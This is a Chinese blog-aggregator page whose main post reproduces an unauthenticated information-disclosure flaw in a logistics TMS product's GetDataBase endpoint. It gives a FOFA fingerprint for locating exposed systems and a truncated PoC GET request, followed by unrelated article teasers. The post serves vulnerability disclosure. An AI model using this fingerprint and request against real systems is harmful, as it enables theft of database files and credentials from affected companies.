当前位置： 首页 > news >正文

郑州时空-TMS运输管理系统 GetDataBase 信息泄露漏洞复现

news 文章来源：https://blog.csdn.net/qq_41904294/article/details/144858754 2025/5/20 2:14:29

0x01 产品简介

郑州时空-TMS运输管理系统是一款专为物流运输企业设计的综合性管理软件，旨在提高运输效率、降低运输成本，并实现供应链的协同运作。系统基于现代计算机技术和物流管理方法，结合了郑州时空公司的专业经验和技术优势，为物流运输企业提供了一套高效、智能的运输管理解决方案。该系统支持多网点、多机构、多功能作业，能够全面满足企业的运输管理需求。适用于各类物流运输企业，包括运输公司、各企业下面的运输队等，特别适用于需要高效管理运输过程、降低运输成本并提升供应链效率的企业。

0x02 漏洞概述

郑州时空-TMS运输管理系统 GetDataBase 接口存在信息泄露漏洞，未经身份验证攻击者可通过该漏洞读取系统内部数据库文件，泄露账号密码等重要凭证，导致网站处于极度不安全状态。

0x03 复现环境

FOFA：

body="/Images/ManLogin/name.png"

0x04 漏洞复现

PoC

GET /ManLogin/GetDataBase HTTP/1.1
Host: 
User-

相关文章：

郑州时空-TMS运输管理系统 GetDataBase 信息泄露漏洞复现

0x01 产品简介 郑州时空-TMS运输管理系统是一款专为物流运输企业设计的综合性管理软件，旨在提高运输效率、降低运输成本，并实现供应链的协同运作。系统基于现代计算机技术和物流管理方法，结合了郑州时空公司的专业经验和技术优势，为物流运输企业提供了一套高效、智能的运输…...

编程日记 2025/1/1 12:09:07

如何使用React，透传各类组件能力/属性？

在23年的时候，我主要使用的框架还是Vue，当时写了一篇“如何二次封装一个Vue3组件库？”的文章，里面涉及了一些如何使用Vue透传组件能力的方法。在我24年接触React之后，我发现这种扩展组件能力的方式有一个专门的术语&am…...

编程日记 2025/1/1 12:08:06

汇编点灯练习

要求： 1、轮流将LED1、LED2、LED3及蜂鸣器点亮 2、基于STM32MP157AAA，阅读原理图和STM32MP157芯片手册 3、ARM汇编指令点灯 1、运行效果 汇编点灯 2、通过查询原理图和芯片手册，得到以下结论： 3、汇编源码 .text .global _start…...

编程日记 2025/1/1 12:07:05

数据结构与算法之动态规划: LeetCode 213. 打家劫舍 II (Ts版)

打家劫舍 II https://leetcode.cn/problems/house-robber-ii/description/ 描述 你是一个专业的小偷，计划偷窃沿街的房屋，每间房内都藏有一定的现金这个地方所有的房屋都 围成一圈 ，这意味着第一个房屋和最后一个房屋是紧挨着的同时&#…...

编程日记 2025/1/1 11:59:55

Git工具

安装教程 详细安装教程 基本命令...

编程日记 2025/1/1 11:55:51

SpringBoot3.3.3+shardingsphere-jdbc5.5.0读写分离、自定义生成主键策略

最近在开发项目搭建框架时，考虑后期支付模块的订单数据量可能会比较大，于是使用现在主流的shardingsphere的读写分离、水平分表来解决后期数据量大影响查询效率的问题。 项目技术栈：jdk17Springboot3.3.3shardingsphere-jdbc5.5.0mybatis-pl…...

编程日记 2025/1/1 11:50:47

开发运维基本功：无需复杂配置快速实现本地Nginx的公网远程访问

文章目录 前言1. 本地连接测试2. 飞牛云安装Cpolar3. 配置公网连接地址4. 飞牛云APP连接测试5. 固定APP远程地址6. 固定APP地址测试 前言 现在生活和工作中的各种设备都变得越来越智能，而数据存储的需求也随之剧增。想象一下：你正在外地出差&#xff0c…...

编程日记 2025/1/1 11:47:39

金融租赁系统助力企业转型与市场竞争力提升

内容概要 在现代商业环境中，金融租赁系统不仅是一个简单的工具，而是企业转型的重要推动力。通过优化业务流程，提升自动化水平，它帮助企业在复杂的市场中找到自己的立足之地。想象一下，一个企业在使用传统方法时&#…...

编程日记 2025/1/1 11:43:35

【漫话机器学习系列】028.CP

Mallows’ Cp：标准化公式解析与应用 Mallows’ Cp 是一种常用的模型选择工具，用于在一系列候选模型中权衡拟合度和复杂性，帮助我们选择性能最优的模型。本文将基于其标准化公式展开详细解析，并探讨其应用场景、实现方法、优点与局…...

编程日记 2025/1/1 11:42:34

软件测试——面试八股文（入门篇）

今天给大家分享软件测试面试题入门篇，看看大家能答对几题 一、 请你说一说测试用例的边界 参考回答： 边界值分析法就是对输入或输出的边界值进行测试的一种黑盒测试方法。通常边界值分析法是作为对等价类划分法的补充，这种情况下&#xff…...

编程日记 2025/1/1 11:30:20

如何在不同工作场景下优化嵌入式系统的电源消耗

在不同工作场景下优化嵌入式系统的电源消耗是一个复杂但至关重要的任务，它涉及到硬件设计、软件编程以及系统级管理等多个方面。以下是一些具体的策略和方法： 1. 动态电压频率调节（DVFS） 原理：根据处理器的当前负载动…...

编程日记 2025/1/1 11:28:19

java - SpringBoot3.x接入Security6.x实现JWT认证

java - SpringBoot3.x接入Security6.x实现JWT认证 文章目录 java - SpringBoot3.x接入Security6.x实现JWT认证一、引言二、环境三、Maven依赖四、认识JWT1. JWT组成 五、认识Security6.x1. 和旧版本的区别（Security5.7以前的版本）2. Security6.x的默认筛…...

编程日记 2025/1/1 11:27:16

【每日学点鸿蒙知识】无障碍、getLastLocation、蓝牙问题、卡片大小、关系型数据库等

1、是否有类似无障碍辅助相关的API？ 场景描述：锁机app，需要通过无障碍能力辅助检测当前正在打开的app，以及模拟用户操作， 关闭用户想要屏蔽的app 可参考：https://developer.huawei.com/consumer/cn/doc/h…...

编程日记 2025/1/1 11:24:11

[Linux] 服务器CPU信息

（1）查看CPU信息（型号） cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c输出：可以看到有128个虚拟CPU核心，型号是后面一串 128 Intel(R) Xeon(R) Platinum 8336C CPU 2.30GHz（2&…...

编程日记 2025/1/1 11:23:10

MySQL——数据类型

一、常见的数据类型及分类 其中上述的数值类型包含了整形和浮点型，文本、二进制类型主要是字符串类型。 整数类型（Integer Types）： TINYINT：范围为-128到127或0到255（无符号），用于…...

编程日记 2025/1/1 11:17:03

《AI赋能自由职业：开启竞争力提升新征程》

在当今数字化时代，AI技术为自由职业者带来了前所未有的机遇，使其能够在激烈的市场竞争中脱颖而出。以下是自由职业者借助AI提升自身竞争力的几种方法。 利用AI优化工作流程，提高效率 自动化任务处理：自由职业者可以借助自动化工具…...

编程日记 2025/1/1 11:15:00

Excel转Json编辑器工具

功能说明：根据 .xlsx 文件生成对应的 JSON 文件，并自动创建脚本 注意事项 Excel 读取依赖 本功能依赖 EPPlus 库，只能读取 .xlsx 文件。请确保将该脚本放置在 Assets 目录下的 Editor 文件夹中。同时，在 Editor 下再创建一个 Exc…...

编程日记 2025/1/1 11:12:59

创建型设计模式、结构型设计模式与行为型设计模式 上下文任务通用方案 设计模式 大全

设计模式（Design Pattern）是一种面向对象编程的思想，分为创建型模式、结构型模式与行为型模式三大类，它们提供了在特定上下文中解决常见任务的通用方案，旨在让程序（软件）具有更好的特点&#xf…...

编程日记 2025/1/1 11:11:58

Mac 环境 VVenC 编译与编码命令行工具使用教程

VVenC VVenC 是一个开源的高效视频编码器，专门用于支持 H.266/VVC (Versatile Video Coding) 标准的编码。H.266/VVC 是继 HEVC (H.265) 之后的新一代视频编码标准，主要目的是提供比 HEVC 更高的压缩效率，同时保持或提高视频质量。H.266/VVC…...

编程日记 2025/1/1 11:09:55

如何在 Ubuntu 22.04 上部署 Nginx 并优化以应对高流量网站教程

简介 本教程将教你如何优化 Nginx，使其能够高效地处理高流量网站。 Nginx 是一个强大且高性能的 Web 服务器，以其高效处理大量并发连接的能力而闻名，这使得它成为高流量网站的流行选择。 正确优化 Nginx 可以显著提高服务器的性能&#xff0…...

编程日记 2025/1/1 11:06:52

springcloud各个组件介绍

Spring Cloud 是一系列框架的集合，它基于 Spring Boot 提供了在分布式系统（如配置管理、服务发现、断路器、智能路由、微代理、控制总线、一次性令牌、全局锁、领导选举、分布式会话和集群状态）中快速构建一些常见模式的工具。下面是对 Sprin…...

编程日记 2025/1/1 11:05:50

HTML5实现好看的喜庆圣诞节网站源码

HTML5实现好看的喜庆圣诞节网站源码 前言一、设计来源1.1 主界面1.2 圣诞介绍界面1.3 圣诞象征界面1.4 圣诞活动界面1.5 圣诞热度界面1.6 圣诞纪念界面1.7 联系我们界面 二、效果和源码2.1 动态效果2.2 源代码 源码下载结束语 HTML5实现好看的喜庆圣诞节网站源码，圣…...

编程日记 2025/1/1 11:03:47

《学习之道》

《学习之道》主要讲述了以下内容： 学习的原理 大脑的两种认知模式：介绍了专注模式和发散模式。专注模式适合集中精力解决具体问题、进行深度理解和记忆推理，但长时间使用易疲惫和陷入思维定式；发散模式则让大脑在更广泛的认知网…...

编程日记 2025/1/1 11:02:45

【Unity3D】ECS入门学习（十一）ComponentSystem、JobComponentSystem

ComponentSystem&#xff1a;仅支持主线程执行&#xff0c;不支持多线程&#xff0c;并且无法使用SystemBase介绍的扩展方法。 using Unity.Entities; using Unity.Transforms; using Unity.Mathematics;/// <summary> /// 仅主线程执行&#xff0c;不支持多线程 /// &l…...

编程日记 2025/1/1 11:00:43

力扣刷题：栈和队列OJ篇（上）

大家好&#xff0c;这里是小编的博客频道 小编的博客&#xff1a;就爱学编程 很高兴在CSDN这个大家庭与大家相识&#xff0c;希望能在这里与大家共同进步&#xff0c;共同收获更好的自己&#xff01;&#xff01;&#xff01; 目录 1.用队列实现栈&#xff08;1&#xff09;题目…...

编程日记 2025/1/1 10:55:37

XGPT用户帮助手册

文章目录 2024 更新日志2024.12.272024.12.29 摘要 本文详细介绍了XGPT软件的功能及发展历程。XGPT是一款融合了当前最先进人工智能技术的多模态智能软件&#xff0c;专为国内用户优化设计。除了强大的智能问答功能外&#xff0c;XGPT还结合日常办公和科学研究的需求&#xff0…...

编程日记 2025/1/1 10:54:37

Oracle 数据库 dmp文件从高版本导入低版本的问题处理

当前有个需求是将oracle 19c上的数据备份恢复到oracle 11g上使用。我们通过exp命令远程进行备份&#xff0c;然后通过imp进行恢复时出现IMP-00010: not a valid export file, header failed verification报错。 这是数据库版本问题&#xff0c;在使用exp命令导出的时候使用的客…...

编程日记 2025/1/1 10:51:33

ShardingSphere-Proxy分表场景测试案例

快速入门文章参考&#xff1a;《ShardingSphereProxy:快速入门》 基于K8S部署文章参考&#xff1a;《基于K8s部署ShardingSphere-Proxy》 基于golang的测试用例参考&#xff1a;《ShardingSphere-Proxy 连接实战&#xff1a;从 Golang 原生 SQL 到 GORM 的应用》 背景 我们…...

编程日记 2025/1/1 10:49:30

学技术学英文：Tomcat的线程模型调优

导读&#xff1a; tomcat 线程调优关键需要理解下面这几个参数&#xff1a; 1. maxConnections 描述&#xff1a;指定服务器能够同时接受和处理的最大连接数。也就是说&#xff0c;服务器在任何时候都能处理的最大并发连接数。作用&#xff1a;限制服务器在任何给定时间点能…...

编程日记 2025/1/1 10:47:29

创建flutter项目遇到无法连接源的问题

Flutter 环境信息 Flutter版本: 3.19.4 (channel stable) Framework: revision 68bfaea224 (2024-03-20) Engine: revision a5c24f538d Dart: 3.3.2 DevTools: 2.31.1 项目基本信息 项目路径: D:\F\luichun 域名: www.luichun.com.cn 支持平台: android, web, windows 项目创…...

编程日记 2025/1/1 10:42:23